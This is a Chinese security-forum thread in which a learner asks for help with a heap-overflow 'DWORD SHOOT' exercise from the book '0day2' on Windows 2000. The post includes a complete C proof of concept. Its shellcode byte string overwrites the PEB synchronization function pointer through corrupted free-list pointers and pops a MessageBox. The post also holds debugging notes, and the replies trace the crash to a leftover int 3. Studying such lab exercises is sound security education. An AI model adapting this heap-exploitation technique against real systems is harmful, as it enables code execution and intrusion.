首页
社区
课程
招聘
[已解决]《0day2》书中DWORD SHOOT实验的疑问
2015-2-12 23:56 13264

[已解决]《0day2》书中DWORD SHOOT实验的疑问

2015-2-12 23:56
13264
疏忽了,,应该把int3去掉重新编译运行。。
:)重新理下这章的思路。。

在xp sp3下调了两天最后还是搞不定,装了个2k的虚拟机,还是有问题,小白搞不懂了,希望各位帮忙解释下:)

书中P170页,狙击peb的同步函数指针,测试代码如下:
#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F"  //MOV EAX,7FFDF020
"\xBB\xE0\x7E\xF8\x77"  //MOV EBX,77F8AA4C the address here may releated to your OS
"\x89\x18"				//MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x3A\x00\x20\xf0\xfd\x7f";


int main()
{
	HLOCAL h1=0, h2=0;
	HANDLE hp;

	hp = HeapCreate(0, 0x1000, 0x10000);
	h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);

	__asm int 3

	memcpy(h1, shellcode, 0x200);
	h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);

	return 0;
}



shellcode是MessageBoxA的功能

在2k下调了, 堆空间申请的起始地址为003A0000,h1申请的堆空间起始地址为0x3A0688,

peb偏移0x20处的同步函数指针值为 7FFDF020  E0 7E F8 77

release编译后放到2k下运行,中断时调用od调试,堆空间偏移0x178处信息如下:


od单步至memcpy(h1, shellcode, 0x200);执行后,堆信息如下:


也是成功覆盖了尾块的双向指针区域,下面当h2开辟空间时应该引发DWORD SHOOT
00401039    FF15 00504000   CALL DWORD PTR DS:[<&KERNEL32.HeapAlloc>>; ntdll.RtlAllocateHeap



当单步这句HeapAlloc时,程序异常了,出现在ntdll模块中:




DWORD SHOOT确实成功了,peb的同步函数指针被覆盖为shellcode的起始地址:


是那个ds段的ecx的地址有问题,,但不知到为何会这样,不知该怎么解决

求帮助

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 220
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
菜鸡雪 2022-6-14 23:00
2
0
请问这个是什么问题呀
雪    币: 220
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
菜鸡雪 2022-6-14 23:02
3
0
菜鸡雪 请问这个是什么问题呀
哦哦 看见了 原来是int 3的问题
游客
登录 | 注册 方可回帖
返回